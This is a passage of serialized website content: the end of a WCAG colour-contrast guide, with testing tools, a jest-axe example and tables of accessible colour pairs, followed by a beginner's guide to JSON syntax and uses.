text",[44,304994,304996,304998],{"className":304995},[4468],[4470,304997],{"disabled":363,"type":4472}," Test link colors (visited and unvisited)",[44,305000,305002,305004],{"className":305001},[4468],[4470,305003],{"disabled":363,"type":4472}," Test error, warning, and success messages",[33,305006,305008],{"id":305007},"automated-testing-tools","Automated Testing Tools",[16,305010,305011],{},"Add these to your workflow:",[77,305013,305014,305019,305024,305030],{},[44,305015,305016,305018],{},[47,305017,4449],{}," (Browser Extension): Runs comprehensive accessibility audits",[44,305020,305021,305023],{},[47,305022,40335],{}," (Built into Chrome): Includes accessibility scoring",[44,305025,305026,305029],{},[47,305027,305028],{},"Pa11y"," (CI\u002FCD): Command-line accessibility testing",[44,305031,305032,305035],{},[47,305033,305034],{},"jest-axe"," (Unit Tests): Test contrast in your component tests",[135,305037,305039],{"className":1607,"code":305038,"language":1609,"meta":141,"style":141},"\u002F\u002F Example with jest-axe\nimport { axe, toHaveNoViolations } from 'jest-axe'\nexpect.extend(toHaveNoViolations)\n\ntest('button has sufficient contrast', async () => {\n  const { container } = render(\u003CButton>Click me\u003C\u002FButton>)\n  const results = await axe(container)\n  expect(results).toHaveNoViolations()\n})\n",[143,305040,305041,305046,305058,305069,305073,305092,305121,305137,305149],{"__ignoreMap":141},[1560,305042,305043],{"class":1562,"line":1563},[1560,305044,305045],{"class":1649},"\u002F\u002F Example with jest-axe\n",[1560,305047,305048,305050,305053,305055],{"class":1562,"line":337},[1560,305049,8162],{"class":1669},[1560,305051,305052],{"class":1570}," { axe, toHaveNoViolations } ",[1560,305054,8168],{"class":1669},[1560,305056,305057],{"class":5634}," 'jest-axe'\n",[1560,305059,305060,305063,305066],{"class":1562,"line":343},[1560,305061,305062],{"class":1570},"expect.",[1560,305064,305065],{"class":1566},"extend",[1560,305067,305068],{"class":1570},"(toHaveNoViolations)\n",[1560,305070,305071],{"class":1562,"line":365},[1560,305072,1702],{"emptyLinePlaceholder":363},[1560,305074,305075,305077,305079,305082,305084,305086,305088,305090],{"class":1562,"line":889},[1560,305076,98998],{"class":1566},[1560,305078,1688],{"class":1570},[1560,305080,305081],{"class":5634},"'button has sufficient contrast'",[1560,305083,1459],{"class":1570},[1560,305085,82166],{"class":1669},[1560,305087,130862],{"class":1570},[1560,305089,11503],{"class":1669},[1560,305091,1571],{"class":1570},[1560,305093,305094,305096,305098,305100,305102,305104,305107,305110,305113,305116,305118],{"class":1562,"line":1710},[1560,305095,28057],{"class":1669},[1560,305097,1658],{"class":1570},[1560,305099,111037],{"class":1576},[1560,305101,49704],{"class":1570},[1560,305103,7297],{"class":1669},[1560,305105,305106],{"class":1566}," render",[1560,305108,305109],{"class":1570},"(\u003C",[1560,305111,305112],{"class":1576},"Button",[1560,305114,305115],{"class":1570},">Click me\u003C\u002F",[1560,305117,305112],{"class":1576},[1560,305119,305120],{"class":1570},">)\n",[1560,305122,305123,305125,305127,305129,305131,305134],{"class":1562,"line":1717},[1560,305124,28057],{"class":1669},[1560,305126,176716],{"class":1576},[1560,305128,8186],{"class":1669},[1560,305130,28065],{"class":1669},[1560,305132,305133],{"class":1566}," axe",[1560,305135,305136],{"class":1570},"(container)\n",[1560,305138,305139,305141,305144,305147],{"class":1562,"line":1747},[1560,305140,175658],{"class":1566},[1560,305142,305143],{"class":1570},"(results).",[1560,305145,305146],{"class":1566},"toHaveNoViolations",[1560,305148,27830],{"class":1570},[1560,305150,305151],{"class":1562,"line":2507},[1560,305152,1626],{"class":1570},[11,305154,305156],{"id":305155},"quick-reference-safe-color-combinations","Quick Reference: Safe Color Combinations",[16,305158,305159],{},"Here are pre-calculated, WCAG-compliant color pairs:",[33,305161,305163],{"id":305162},"on-white-background-ffffff","On White Background (#FFFFFF)",[193,305165,305166,305178],{},[196,305167,305168],{},[199,305169,305170,305173,305175],{},[202,305171,305172],{},"Text Color",[202,305174,171873],{},[202,305176,305177],{},"WCAG Level",[211,305179,305180,305190,305200,305210,305221,305231,305240,305249,305259,305269],{},[199,305181,305182,305185,305188],{},[216,305183,305184],{},"#1f2937 (gray-800)",[216,305186,305187],{},"12.6:1",[216,305189,3320],{},[199,305191,305192,305195,305198],{},[216,305193,305194],{},"#374151 (gray-700)",[216,305196,305197],{},"8.6:1",[216,305199,3320],{},[199,305201,305202,305205,305208],{},[216,305203,305204],{},"#4b5563 (gray-600)",[216,305206,305207],{},"5.9:1",[216,305209,3307],{},[199,305211,305212,305215,305218],{},[216,305213,305214],{},"#6b7280 (gray-500)",[216,305216,305217],{},"3.5:1",[216,305219,305220],{},"Large text only",[199,305222,305223,305226,305229],{},[216,305224,305225],{},"#dc2626 (red-600)",[216,305227,305228],{},"5.4:1",[216,305230,3307],{},[199,305232,305233,305236,305238],{},[216,305234,305235],{},"#ea580c (orange-600)",[216,305237,4087],{},[216,305239,3307],{},[199,305241,305242,305245,305247],{},[216,305243,305244],{},"#ca8a04 (yellow-600)",[216,305246,40224],{},[216,305248,3307],{},[199,305250,305251,305254,305257],{},[216,305252,305253],{},"#16a34a (green-600)",[216,305255,305256],{},"5.1:1",[216,305258,3307],{},[199,305260,305261,305264,305267],{},[216,305262,305263],{},"#2563eb (blue-600)",[216,305265,305266],{},"5.7:1",[216,305268,3307],{},[199,305270,305271,305274,305276],{},[216,305272,305273],{},"#7c3aed (violet-600)",[216,305275,305207],{},[216,305277,3307],{},[33,305279,305281],{"id":305280},"on-dark-background-111827","On Dark Background (#111827)",[193,305283,305284,305294],{},[196,305285,305286],{},[199,305287,305288,305290,305292],{},[202,305289,305172],{},[202,305291,171873],{},[202,305293,305177],{},[211,305295,305296,305305,305315,305325,305334,305344,305354,305363,305373,305383],{},[199,305297,305298,305301,305303],{},[216,305299,305300],{},"#f9fafb (gray-50)",[216,305302,305187],{},[216,305304,3320],{},[199,305306,305307,305310,305313],{},[216,305308,305309],{},"#f3f4f6 (gray-100)",[216,305311,305312],{},"10.9:1",[216,305314,3320],{},[199,305316,305317,305320,305323],{},[216,305318,305319],{},"#e5e7eb (gray-200)",[216,305321,305322],{},"8.4:1",[216,305324,3320],{},[199,305326,305327,305330,305332],{},[216,305328,305329],{},"#d1d5db (gray-300)",[216,305331,305266],{},[216,305333,3307],{},[199,305335,305336,305339,305342],{},[216,305337,305338],{},"#9ca3af (gray-400)",[216,305340,305341],{},"3.1:1",[216,305343,305220],{},[199,305345,305346,305349,305352],{},[216,305347,305348],{},"#fca5a5 (red-300)",[216,305350,305351],{},"5.6:1",[216,305353,3307],{},[199,305355,305356,305359,305361],{},[216,305357,305358],{},"#fdba74 (orange-300)",[216,305360,305256],{},[216,305362,3307],{},[199,305364,305365,305368,305371],{},[216,305366,305367],{},"#fde047 (yellow-300)",[216,305369,305370],{},"9.7:1",[216,305372,3320],{},[199,305374,305375,305378,305381],{},[216,305376,305377],{},"#86efac (green-300)",[216,305379,305380],{},"5.8:1",[216,305382,3307],{},[199,305384,305385,305388,305390],{},[216,305386,305387],{},"#93c5fd (blue-300)",[216,305389,305228],{},[216,305391,3307],{},[11,305393,257800],{"id":257799},[41,305395,305396,305401],{},[44,305397,305398,305400],{},[98,305399,18588],{"href":18587}," - Convert colors to find accessible alternatives",[44,305402,305403,305406],{},[98,305404,305405],{"href":302535},"Tailwind Color Palette"," - Build accessible color systems with Tailwind",[2043,305408,305409],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sA_wV, html code.shiki .sA_wV{--shiki-default:#032F62;--shiki-dark:#DBEDFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":305411},[305412,305416,305421,305427,305432,305436,305440],{"id":303431,"depth":337,"text":303432,"children":305413},[305414,305415],{"id":303438,"depth":343,"text":303439},{"id":303483,"depth":343,"text":303484},{"id":303578,"depth":337,"text":303579,"children":305417},[305418,305419,305420],{"id":303582,"depth":343,"text":303583},{"id":303621,"depth":343,"text":303622},{"id":303646,"depth":343,"text":303647},{"id":304091,"depth":337,"text":304092,"children":305422},[305423,305424,305425,305426],{"id":304095,"depth":343,"text":304096},{"id":304191,"depth":343,"text":304192},{"id":304314,"depth":343,"text":304315},{"id":304528,"depth":343,"text":304529},{"id":304681,"depth":337,"text":304682,"children":305428},[305429,305430,305431],{"id":304688,"depth":343,"text":304689},{"id":304760,"depth":343,"text":304761},{"id":304874,"depth":343,"text":304875},{"id":304950,"depth":337,"text":304951,"children":305433},[305434,305435],{"id":4459,"depth":343,"text":4460},{"id":305007,"depth":343,"text":305008},{"id":305155,"depth":337,"text":305156,"children":305437},[305438,305439],{"id":305162,"depth":343,"text":305163},{"id":305280,"depth":343,"text":305281},{"id":257799,"depth":337,"text":257800},"Master WCAG 2.1 AA and AAA contrast standards with practical examples. Learn calculation methods, fix common failures, and ensure accessibility in both light and dark modes.",{"immutable":363},{"title":303426,"description":305441},"guides\u002Fwcag-contrast-practical","JsjxaP5GlrHDf03rL_OGhAQtxXuMF7VcPn2IGhhgMAM",{"id":305447,"title":305448,"body":305449,"date":257855,"description":305698,"extension":361,"meta":305699,"navigation":363,"path":305700,"readingTime":1747,"seo":305701,"stem":305702,"__hash__":305703},"guides\u002Fguides\u002Fwhat-is-json.md","What is JSON? Complete Beginner's Guide",{"type":8,"value":305450,"toc":305688},[305451,305455,305458,305462,305465,305509,305511,305605,305609,305639,305643,305668,305672,305679,305681,305686],[11,305452,305454],{"id":305453},"what-is-json","What is JSON?",[16,305456,305457],{},"JSON (JavaScript Object Notation) is a lightweight data-interchange format that has become the de facto standard for data exchange on the web. It is easy for humans to read and write, and easy for machines to parse and generate.",[11,305459,305461],{"id":305460},"json-syntax-basics","JSON Syntax Basics",[16,305463,305464],{},"JSON data is written as key-value pairs. Keys must be strings wrapped in double quotes, and values can be:",[41,305466,305467,305474,305482,305490,305496,305503],{},[44,305468,305469,1663,305472],{},[47,305470,305471],{},"Strings",[143,305473,204496],{},[44,305475,305476,1663,305478,1459,305480],{},[47,305477,83120],{},[143,305479,14520],{},[143,305481,232926],{},[44,305483,305484,1663,305486,1459,305488],{},[47,305485,83130],{},[143,305487,20533],{},[143,305489,13730],{},[44,305491,305492,1663,305494],{},[47,305493,232952],{},[143,305495,80702],{},[44,305497,305498,1663,305501],{},[47,305499,305500],{},"Arrays",[143,305502,281657],{},[44,305504,305505,1663,305507],{},[47,305506,96375],{},[143,305508,281667],{},[33,305510,133],{"id":132},[135,305512,305514],{"className":23484,"code":305513,"language":23486,"meta":141,"style":141},"{\n  \"name\": \"John Doe\",\n  \"age\": 30,\n  \"isActive\": true,\n  \"skills\": [\"JavaScript\", \"Python\", \"SQL\"],\n  \"address\": {\n    \"city\": \"New York\",\n    \"country\": \"USA\"\n  }\n}\n",[143,305515,305516,305520,305530,305540,305550,305572,305578,305588,305597,305601],{"__ignoreMap":141},[1560,305517,305518],{"class":1562,"line":1563},[1560,305519,23493],{"class":1570},[1560,305521,305522,305524,305526,305528],{"class":1562,"line":337},[1560,305523,80877],{"class":1576},[1560,305525,1663],{"class":1570},[1560,305527,242244],{"class":5634},[1560,305529,11943],{"class":1570},[1560,305531,305532,305534,305536,305538],{"class":1562,"line":343},[1560,305533,283220],{"class":1576},[1560,305535,1663],{"class":1570},[1560,305537,23995],{"class":1576},[1560,305539,11943],{"class":1570},[1560,305541,305542,305544,305546,305548],{"class":1562,"line":365},[1560,305543,23522],{"class":1576},[1560,305545,1663],{"class":1570},[1560,305547,20533],{"class":1576},[1560,305549,11943],{"class":1570},[1560,305551,305552,305555,305557,305560,305562,305565,305567,305570],{"class":1562,"line":889},[1560,305553,305554],{"class":1576},"  \"skills\"",[1560,305556,37187],{"class":1570},[1560,305558,305559],{"class":5634},"\"JavaScript\"",[1560,305561,1459],{"class":1570},[1560,305563,305564],{"class":5634},"\"Python\"",[1560,305566,1459],{"class":1570},[1560,305568,305569],{"class":5634},"\"SQL\"",[1560,305571,12044],{"class":1570},[1560,305573,305574,305576],{"class":1562,"line":1710},[1560,305575,80888],{"class":1576},[1560,305577,37098],{"class":1570},[1560,305579,305580,305582,305584,305586],{"class":1562,"line":1717},[1560,305581,80631],{"class":1576},[1560,305583,1663],{"class":1570},[1560,305585,80899],{"class":5634},[1560,305587,11943],{"class":1570},[1560,305589,305590,305592,305594],{"class":1562,"line":1747},[1560,305591,280017],{"class":1576},[1560,305593,1663],{"class":1570},[1560,305595,305596],{"class":5634},"\"USA\"\n",[1560,305598,305599],{"class":1562,"line":2507},[1560,305600,4959],{"class":1570},[1560,305602,305603],{"class":1562,"line":2524},[1560,305604,1585],{"class":1570},[11,305606,305608],{"id":305607},"why-json-is-popular","Why JSON is Popular",[77,305610,305611,305616,305622,305628],{},[44,305612,305613,305615],{},[47,305614,252217],{},": The syntax is simple and intuitive",[44,305617,305618,305621],{},[47,305619,305620],{},"Language-independent",": Almost every programming language has JSON support",[44,305623,305624,305627],{},[47,305625,305626],{},"Lightweight",": Minimal overhead compared to XML",[44,305629,305630,305633,305634,305636,305637],{},[47,305631,305632],{},"Native JavaScript support",": Parsed natively with ",[143,305635,137683],{}," and serialized with ",[143,305638,137686],{},[11,305640,305642],{"id":305641},"common-uses-of-json","Common Uses of JSON",[41,305644,305645,305650,305657,305662],{},[44,305646,305647,305649],{},[47,305648,253234],{},": REST APIs return data in JSON format",[44,305651,305652,305654,305655],{},[47,305653,99483],{},": Package managers like npm use ",[143,305656,37590],{},[44,305658,305659,305661],{},[47,305660,201494],{},": NoSQL databases like MongoDB store data in JSON-like format",[44,305663,305664,305667],{},[47,305665,305666],{},"Web sockets",": Real-time communication often uses JSON messages",[11,305669,305671],{"id":305670},"json-vs-other-formats","JSON vs Other Formats",[16,305673,305674,305675,305678],{},"See our detailed ",[98,305676,305677],{"href":229892},"JSON vs XML comparison"," to understand when to use each format.",[11,305680,286],{"id":285},[16,305682,29979,305683,305685],{},[98,305684,37777],{"href":37776}," to format, validate, and minify your JSON data online.",[2043,305687,23838],{},{"title":141,"searchDepth":337,"depth":337,"links":305689},[305690,305691,305694,305695,305696,305697],{"id":305453,"depth":337,"text":305454},{"id":305460,"depth":337,"text":305461,"children":305692},[305693],{"id":132,"depth":343,"text":133},{"id":305607,"depth":337,"text":305608},{"id":305641,"depth":337,"text":305642},{"id":305670,"depth":337,"text":305671},{"id":285,"depth":337,"text":286},"Learn what JSON is, how it works, and why it's the most popular data format for APIs and web applications.",{"immutable":363},"\u002Fguides\u002Fwhat-is-json",{"title":305448,"description":305698},"guides\u002Fwhat-is-json","hMWzXT-23pAduosUy4Yop_6zajTf3M81E9HB7mB-UVw",1780401321448]